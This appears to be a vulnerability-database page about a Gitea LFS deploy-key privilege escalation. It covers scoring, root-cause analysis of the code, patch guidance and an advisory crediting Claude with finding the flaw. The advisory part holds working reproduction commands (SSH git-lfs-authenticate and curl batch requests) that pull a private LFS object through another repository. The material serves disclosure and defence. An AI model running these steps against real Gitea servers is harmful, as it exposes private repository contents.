Skip to main content

Gitea CVE-2026-58435

| EUVDEUVD-2026-58162 MEDIUM
Incorrect Privilege Assignment (CWE-266)
2026-07-21 https://github.com/go-gitea/gitea GHSA-rh79-75qm-gwjr
5.4
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain write deploy key private key from CI/CD config
  2. Delivery
    SSH git-lfs-authenticate to receive JWT with victim OwnerID
  3. Exploit
    Identify target LFS OID via public fork or prior access
  4. Execution
    POST batch upload to ci-repo with secret-repo OID
  5. Persist
    Gitea LFSObjectAccessible silently links object cross-repo
  6. Impact
    Download exfiltrated LFS content via ci-repo HTTP endpoint

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Privilege assignment review
Exploitation Conditions

Three specific conditions must all hold simultaneously. First, LFS must be explicitly enabled on the Gitea instance (LFS_START_SERVER = true); this is not the default state in all deployments and must be operator-configured. Second, the attacker must possess the private key material for a write-access deploy key on at least one repository owned by the target victim - deploy keys with write access are routinely provisioned for CI/CD systems and may be exposed through misconfigured secrets management, public pipeline configurations, or former employee access. Third, the attacker must know the SHA-256 OID of at least one specific LFS object in the target repository; OIDs are 256-bit digests that are neither enumerable via the batch API nor brute-forceable, and must be obtained through a prior disclosure path such as a public fork retaining stale LFS pointer files in git history, a former collaborator who cloned the repository before access was revoked, or issue/PR comments referencing pointer file contents. The CVSS vector confirms PR:L (low-privilege deploy key credential required) and UI:N (no victim interaction needed). The attack is amplified to instance-wide scope only when the repository owner is a Gitea site administrator, due to the unfiltered COUNT(*) query in models/git/lfs.go:226; for non-admin owners, impact is limited to that user's repositories only.

Impact

The vendor-assigned CVSS 3.1 score is 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N), which materially underestimates real-world impact for two reasons. First, the confidentiality impact rated C:L does not reflect that a full LFS object (arbitrary binary content including secrets, credentials, or proprietary data) is fully disclosed once an OID is known - C:H is more accurate. Second, when the repository owner is a site administrator, the blast radius extends to every LFS object on the instance, not just one user's repos. The AC:L rating is also questionable: exploitation requires knowing a non-enumerable 256-bit SHA-256 OID through a prior information-disclosure path, a meaningful practical barrier. EPSS data is not available in the provided intelligence, so numerical exploitation probability cannot be stated. No CISA KEV listing exists, indicating no confirmed widespread active exploitation; however, a public PoC (poc.sh) is linked from the GitHub advisory, confirming the attack is reproducible. SSVC signals: exploitation status = PoC public; automatable = No (OID prerequisite is a hard dependency); technical impact = Partial to Total depending on victim privilege level. The vulnerability is a real priority for any Gitea instance with LFS enabled where CI/CD deploy keys are in use, particularly where any key holder also has access to admin-owned repositories.

Exploit ScenarioDerived

An attacker who extracted a write deploy key from a leaked CI/CD pipeline configuration authenticates to the target Gitea instance via SSH git-lfs-authenticate victim/ci-repo upload, receiving a valid server-signed JWT in which UserID is silently set to the victim's UID rather than any deploy-key identity. Using a SHA-256 OID learned from a stale LFS pointer file in a public fork of the victim's private repository, the attacker submits a batch upload request to ci-repo's LFS HTTP endpoint; Gitea's LFSObjectAccessible check authorizes the request as the repo owner and silently links the target object to ci-repo without requiring the attacker to re-upload the bytes. The attacker then downloads the full LFS object content through ci-repo, bypassing all access controls on the private target repository. A public end-to-end PoC script (poc.sh) demonstrating this exact chain is attached to advisory GHSA-rh79-75qm-gwjr.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

LFS deploy-key privilege escalation in Gitea (< 1.27.0) allows a holder of a write deploy key for any single repository owned by a victim to exfiltrate LFS objects from all private repositories that victim owns. The flaw originates in routers/private/serv.go:275, where Gitea embeds repo.OwnerID as the JWT UserID for deploy-key SSH sessions, causing the LFS batch handler at services/lfs/server.go:268 to evaluate cross-repository authorization as if the repository owner - not the deploy key - were the requesting principal. If the victim is a Gitea site administrator, an unfiltered query in models/git/lfs.go:226 exposes every LFS object on the entire instance. A public end-to-end PoC (poc.sh) is attached to the GitHub advisory; no CISA KEV listing exists at time of analysis.

RemediationAI

Upgrade to Gitea 1.27.0, which resolves both the JWT identity confusion in serv.go and the cross-repository shortcut in server.go, as confirmed by the vendor release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and advisory GHSA-rh79-75qm-gwjr. If immediate upgrade is not feasible, the following compensating controls can reduce exposure. Setting LFS_START_SERVER = false in the Gitea configuration eliminates the attack surface entirely but disables LFS functionality for all users and repositories - a significant operational trade-off. Auditing and revoking write deploy keys on repositories owned by site administrators removes the highest-impact attack path (instance-wide exposure), though keys on any user's repositories remain a risk. As a targeted code-level interim patch, replacing the LFSObjectAccessible block in server.go:267 with exists = false (Fix 1 in the advisory) removes the cross-repo shortcut and forces proof-of-possession re-upload; the performance cost is one redundant upload per cross-repo object. Patch files are attached to the GitHub advisory at https://github.com/go-gitea/gitea/security/advisories/GHSA-rh79-75qm-gwjr.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea is a self-hosted Git service written in Go; the affected package is code.gitea.io/gitea (CPE: pkg:go/code.gitea.io_gitea). CWE-266 (Incorrect Privilege Assignment) describes the root cause: deploy keys lack a proper first-class principal representation in Gitea's internal RPC layer. When a deploy key authenticates via SSH git-lfs-authenticate, the serv.go handler has no deploy-key identity to encode, so it falls back to repo.OwnerID with an acknowledged FIXME comment. This inflated identity is embedded verbatim into a server-signed JWT by cmd/serv.go. The LFS HTTP batch handler in server.go:268 subsequently calls LFSObjectAccessible(ctx, ctx.Doer, oid) using the UserID from that JWT to decide whether to silently create a cross-repository object link (NewLFSMetaObject), treating a CI/CD deploy key as if it were the human repository owner. The JWT's RepoID claim is verified at the HTTP routing level, but the cross-repo authorization decision is driven entirely by the incorrectly set UserID. For administrator-owned repositories, models/git/lfs.go:226 short-circuits all repo filtering with an unscoped COUNT(*) over the full lfs_meta_object table, amplifying the impact to instance-wide scope.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
vuln.today AI 5.9 MEDIUM

AC:H reflects the hard OID-knowledge prerequisite; C:H reflects full LFS object disclosure once exploited; PR:L confirmed by write deploy key requirement.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Vulnerability Header

FieldValue
Vulnerability TitleGitea LFS Deploy-Key Privilege Escalation
Severity RatingHigh
Bug CategoryInsufficient Authorization
Locationservices/lfs/server.go:268, routers/private/serv.go:275
Affected Versions1.25.5

Executive Summary

Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal - but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns - no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.

Root Cause Analysis

Technical Description

The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) - a global query across all repos the claimed user can see - to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.

First Faulty Condition

The primary bug - where the JWT UserID is set incorrectly - is in serv.go:

Filerouters/private/serv.go
Line275
ConditionDeploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268
go
// routers/private/serv.go:252-278
if key.Type == asymkey_model.KeyTypeDeploy {
    ...
    // FIXME: Deploy keys aren't really the owner of the repo pushing changes
    // however we don't have good way of representing deploy keys in hook.go
    // so for now use the owner of the repository
    results.UserName = results.OwnerName
    results.UserID = repo.OwnerID    // ← OWNER's UID, not the deploy key
    ...
}

The secondary bug - where the tainted UserID is actually misused - is in server.go:

Fileservices/lfs/server.go
Line268
ConditionLFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder
go
// services/lfs/server.go:267-275
if exists && meta == nil {
    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
    ...
    if accessible {
        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)  // links OID to attacker's repo
        ...
    }
}

Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table - no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.

Exploitability Assessment

Attack Vector & Reachability

Attack vectorNetwork
Authentication requiredLow: attacker must hold a write deploy key's private key material for any of victim's repositories
User interaction requiredNone
Reachable in default configNo. Requires LFS_START_SERVER = true
Entry point(s)SSH git-lfs-authenticate command + HTTP LFS batch API

The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests - not enumerable and not brute-forceable - and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.

LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive - after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.

Reproduction Steps

Environment

The issue was reproduced using gitea/gitea:1.25.5 docker image.

Setup (performed as victim/admin - represents normal deployment state)

bash
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
#    (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
#    Attacker holds the corresponding private key (e.g. leaked from CI config)

Exploit

bash
# Step 1 - Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
  "git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
#                                              ^^^^^^^^ victim's UID - BUG

JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 - Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"}  - correctly blocked
# Step 3 - Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
  -H "Authorization: Bearer $JWT" \
  -H "Accept: application/vnd.git-lfs+json" \
  -H "Content-Type: application/vnd.git-lfs+json" \
  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
  -d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]}  - NO "actions" field
#   server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 - Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2

Expected output

Step 2:  {"Message":"Unauthorized"}          ← blocked from secret-repo
Step 3:  {"objects":[{"oid":"1d4fed...","size":32}]}  ← no actions = silently linked
Step 4:  TOP SECRET: password is hunter2     ← exfiltrated via ci-repo

PoC files

  • poc.sh - end-to-end PoC using real SSH deploy key

Recommended Fix

A proper fix might require significant architecture change. A short term recommendation is presented below:

Fix 1 - services/lfs/server.go:267 (defense in depth, immediately effective)

Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about *other* repos should not be made using the JWT UserID.

go
// BEFORE (vulnerable):
if exists && meta == nil {
    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
    if err != nil {
        log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
        writeStatus(ctx, http.StatusInternalServerError)
        return
    }
    if accessible {
        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
        if err != nil {
            log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
            writeStatus(ctx, http.StatusInternalServerError)
            return
        }
    } else {
        exists = false
    }
}
go
// After (safe):
if exists && meta == nil {
    // Do not use ctx.Doer for cross-repo decisions - the JWT only authorizes
    // access to this repo. Always require proof-of-possession for objects
    // not already linked here.
    exists = false
}

The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.

Full patch: fix1.patch

Fix 2 - routers/private/serv.go:275 (fix the source)

Stop embedding repo.OwnerID in the JWT for deploy keys. Options:

  • Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
  • Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.

Patch provenance: AI-generated + Human-reviewed

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Medium
popular self-hosted Git platform across DevOps and OSS communities
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy